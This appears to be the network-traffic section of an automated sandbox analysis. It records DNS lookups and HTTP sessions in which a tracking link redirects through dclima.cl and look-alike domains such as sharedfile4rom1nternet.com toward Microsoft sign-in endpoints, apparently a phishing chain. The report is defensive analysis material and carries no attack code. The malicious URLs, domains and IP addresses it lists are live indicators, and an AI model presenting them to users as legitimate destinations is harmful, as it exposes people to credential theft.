Nov 21, 2024 14:44:30.327517033 CET	53176	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:30.327702999 CET	53378	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:30.554447889 CET	53	53176	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:30.554514885 CET	53	53378	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:34.296849966 CET	51936	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:34.297061920 CET	58853	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:34.305059910 CET	51439	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:34.305222034 CET	60718	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:34.546710014 CET	53	51936	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:34.546770096 CET	53	60718	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:34.546880007 CET	53	51439	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:34.547494888 CET	53	58853	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:39.688189030 CET	53	58349	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:56.447474003 CET	63236	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:56.447614908 CET	55818	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:56.681508064 CET	53	55818	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:56.681520939 CET	53	63236	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:58.750631094 CET	53	60997	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:03.190171003 CET	138	138	192.168.2.16	192.168.2.255
Nov 21, 2024 14:45:08.313270092 CET	49384	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:08.313533068 CET	59265	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:08.558708906 CET	53	49384	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:08.586728096 CET	53	59265	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:11.173803091 CET	55848	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:11.174119949 CET	64905	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:11.403860092 CET	53	64905	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:11.405654907 CET	53	55848	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:14.904977083 CET	53405	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:14.905189037 CET	61620	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:15.131274939 CET	53	53405	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:15.131330967 CET	53	61620	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:17.471390963 CET	60467	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:17.471544027 CET	64938	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:19.595055103 CET	64712	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:19.595191956 CET	51568	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:45:19.822176933 CET	53	64712	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:19.823355913 CET	53	51568	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:20.292860031 CET	53	64921	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:21.921999931 CET	53	56492	1.1.1.1	192.168.2.16
Nov 21, 2024 14:45:49.667915106 CET	53	63151	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 21, 2024 14:44:24.356100082 CET	192.168.2.16	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 14:44:06.256987095 CET	192.168.2.16	1.1.1.1	0x4d26	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:22.098442078 CET	192.168.2.16	1.1.1.1	0x33bd	Standard query (0)	dclima.cl	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:22.098598957 CET	192.168.2.16	1.1.1.1	0xd6fd	Standard query (0)	dclima.cl	65	IN (0x0001)	false
Nov 21, 2024 14:44:23.113601923 CET	192.168.2.16	1.1.1.1	0x2b18	Standard query (0)	dclima.cl	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:23.113831043 CET	192.168.2.16	1.1.1.1	0xd66b	Standard query (0)	dclima.cl	65	IN (0x0001)	false
Nov 21, 2024 14:44:24.926481009 CET	192.168.2.16	1.1.1.1	0x586d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:24.926697016 CET	192.168.2.16	1.1.1.1	0x2495	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 14:44:27.661264896 CET	192.168.2.16	1.1.1.1	0x62a	Standard query (0)	robustwaresinc.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:27.661427021 CET	192.168.2.16	1.1.1.1	0xe38c	Standard query (0)	robustwaresinc.com	65	IN (0x0001)	false
Nov 21, 2024 14:44:30.327517033 CET	192.168.2.16	1.1.1.1	0x79e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:30.327702999 CET	192.168.2.16	1.1.1.1	0xf36d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 21, 2024 14:44:34.296849966 CET	192.168.2.16	1.1.1.1	0xf48	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:34.297061920 CET	192.168.2.16	1.1.1.1	0x6515	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 21, 2024 14:44:34.305059910 CET	192.168.2.16	1.1.1.1	0x87c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:34.305222034 CET	192.168.2.16	1.1.1.1	0x3406	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 21, 2024 14:44:56.447474003 CET	192.168.2.16	1.1.1.1	0xa988	Standard query (0)	sharedfile4rom1nternet.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:56.447614908 CET	192.168.2.16	1.1.1.1	0x57c5	Standard query (0)	sharedfile4rom1nternet.com	65	IN (0x0001)	false
Nov 21, 2024 14:45:08.313270092 CET	192.168.2.16	1.1.1.1	0xccd7	Standard query (0)	sharedfile4rom1nternet.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:08.313533068 CET	192.168.2.16	1.1.1.1	0xf729	Standard query (0)	sharedfile4rom1nternet.com	65	IN (0x0001)	false
Nov 21, 2024 14:45:11.173803091 CET	192.168.2.16	1.1.1.1	0xc50a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:11.174119949 CET	192.168.2.16	1.1.1.1	0x743c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 21, 2024 14:45:14.904977083 CET	192.168.2.16	1.1.1.1	0x7767	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:14.905189037 CET	192.168.2.16	1.1.1.1	0x4e09	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
Nov 21, 2024 14:45:17.471390963 CET	192.168.2.16	1.1.1.1	0x4459	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:17.471544027 CET	192.168.2.16	1.1.1.1	0x9038	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
Nov 21, 2024 14:45:19.595055103 CET	192.168.2.16	1.1.1.1	0x668	Standard query (0)	autologon.microsoftazuread-sso.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.595191956 CET	192.168.2.16	1.1.1.1	0xe81f	Standard query (0)	autologon.microsoftazuread-sso.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 14:44:06.485014915 CET	1.1.1.1	192.168.2.16	0x4d26	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:44:08.399348974 CET	1.1.1.1	192.168.2.16	0xfe8d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:08.399348974 CET	1.1.1.1	192.168.2.16	0xfe8d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:23.169038057 CET	1.1.1.1	192.168.2.16	0x33bd	No error (0)	dclima.cl		45.239.218.70	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:24.376712084 CET	1.1.1.1	192.168.2.16	0x2b18	No error (0)	dclima.cl		45.239.218.70	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:25.155117035 CET	1.1.1.1	192.168.2.16	0x586d	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:25.155174971 CET	1.1.1.1	192.168.2.16	0x2495	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 14:44:27.897123098 CET	1.1.1.1	192.168.2.16	0x62a	No error (0)	robustwaresinc.com		185.156.109.33	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:30.554447889 CET	1.1.1.1	192.168.2.16	0x79e	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:30.554447889 CET	1.1.1.1	192.168.2.16	0x79e	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:30.554514885 CET	1.1.1.1	192.168.2.16	0xf36d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 21, 2024 14:44:34.546710014 CET	1.1.1.1	192.168.2.16	0xf48	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:34.546710014 CET	1.1.1.1	192.168.2.16	0xf48	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:34.546770096 CET	1.1.1.1	192.168.2.16	0x3406	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 21, 2024 14:44:34.546880007 CET	1.1.1.1	192.168.2.16	0x87c	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:34.546880007 CET	1.1.1.1	192.168.2.16	0x87c	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:44:34.547494888 CET	1.1.1.1	192.168.2.16	0x6515	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 21, 2024 14:44:56.681520939 CET	1.1.1.1	192.168.2.16	0xa988	No error (0)	sharedfile4rom1nternet.com		185.156.109.33	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:08.558708906 CET	1.1.1.1	192.168.2.16	0xccd7	No error (0)	sharedfile4rom1nternet.com		185.156.109.33	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:11.403860092 CET	1.1.1.1	192.168.2.16	0x743c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.403860092 CET	1.1.1.1	192.168.2.16	0x743c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.405654907 CET	1.1.1.1	192.168.2.16	0xc50a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.405654907 CET	1.1.1.1	192.168.2.16	0xc50a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.405654907 CET	1.1.1.1	192.168.2.16	0xc50a	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:11.408232927 CET	1.1.1.1	192.168.2.16	0xa75a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.408232927 CET	1.1.1.1	192.168.2.16	0xa75a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:11.408659935 CET	1.1.1.1	192.168.2.16	0x919f	No error (0)	csp-afd-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.408670902 CET	1.1.1.1	192.168.2.16	0x2ed5	No error (0)	csp-afd-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.408670902 CET	1.1.1.1	192.168.2.16	0x2ed5	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:11.408670902 CET	1.1.1.1	192.168.2.16	0x2ed5	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	outlook.ms-acdc.office.com	CDG-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	CDG-efz.ms-acdc.office.com		40.99.217.146	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	CDG-efz.ms-acdc.office.com		40.99.220.50	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	CDG-efz.ms-acdc.office.com		52.98.178.162	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131274939 CET	1.1.1.1	192.168.2.16	0x7767	No error (0)	CDG-efz.ms-acdc.office.com		40.99.153.146	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131330967 CET	1.1.1.1	192.168.2.16	0x4e09	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131330967 CET	1.1.1.1	192.168.2.16	0x4e09	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:15.131330967 CET	1.1.1.1	192.168.2.16	0x4e09	No error (0)	outlook.ms-acdc.office.com	CDG-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:17.698870897 CET	1.1.1.1	192.168.2.16	0x4459	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:17.699681997 CET	1.1.1.1	192.168.2.16	0x9038	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.68	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		40.126.31.71	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.73	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.75	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		40.126.31.69	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.71	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.0	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:45:19.822176933 CET	1.1.1.1	192.168.2.16	0x668	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.4	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

https:

p13n.adobe.io

robustwaresinc.com

challenges.cloudflare.com

sharedfile4rom1nternet.com

csp.microsoft.com

outlook.office365.com

autologon.microsoftazuread-sso.com

fs.microsoft.com

armmf.adobe.com

dclima.cl

tracking.adscarat.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49722	164.132.95.123	80	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:44:20.762027025 CET	648	OUT	GET /tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2 HTTP/1.1 Host: tracking.adscarat.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 21, 2024 14:44:22.095263004 CET	444	IN	HTTP/1.1 302 Found Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html Location: https://dclima.cl/.pdf/encryption/00152689/php/connection Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Thu, 21 Nov 2024 13:44:03 GMT Data Raw: 62 31 0d 0a ef bb bf 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 63 6c 69 6d 61 2e 63 6c 2f 2e 70 64 66 2f 65 6e 63 72 79 70 74 69 6f 6e 2f 30 30 31 35 32 36 38 39 2f 70 68 70 2f 63 6f 6e 6e 65 63 74 69 6f 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: b1<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://dclima.cl/.pdf/encryption/00152689/php/connection">here</a>.</h2></body></html>0
Nov 21, 2024 14:45:07.108607054 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 14:45:52.234724998 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49721	164.132.95.123	80	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:45:05.775459051 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49711	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:06 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 13:44:07 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=183684 Date: Thu, 21 Nov 2024 13:44:07 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49710	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:07 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NhKoT3UZsUvpXtf&MD=ab3+FrUs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 13:44:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f0c8b2f3-798c-4f35-841f-a83589cac129 MS-RequestId: dbcbb83d-b2a0-446c-b8c6-c4bf00b320b8 MS-CV: Mfhg97GGi0CY/6n+.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 13:44:07 GMT Connection: close Content-Length: 24490
2024-11-21 13:44:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 13:44:07 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49713	107.22.247.231	443	6344	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:07 UTC	1473	OUT	GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1 Host: p13n.adobe.io Connection: keep-alive sec-ch-ua: "Chromium";v="105" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 x-adobe-uuid: fe97c538-da5e-4108-829d-bf7bd7076578 x-adobe-uuid-type: visitorId x-api-key: AdobeReader9 sec-ch-ua-platform: "Windows" Origin: https://rna-resource.acrobat.com Accept-Language: en-US,en;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://rna-resource.acrobat.com/ Accept-Encoding: gzip, deflate, br
2024-11-21 13:44:07 UTC	608	IN	HTTP/1.1 200 Server: openresty Date: Thu, 21 Nov 2024 13:44:07 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 5227 Connection: close x-request-id: eHKieKnUnWjVLNQZfIszG5ookmJOhRDs vary: accept-encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: Authorization,Content-Type,X-Api-Key,cache-control,User-Agent,If-None-Match,x-adobe-uuid,x-adobe-uuid-type, X-Request-Id Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-request-id Strict-Transport-Security: max-age=15552000; includeSubDomains
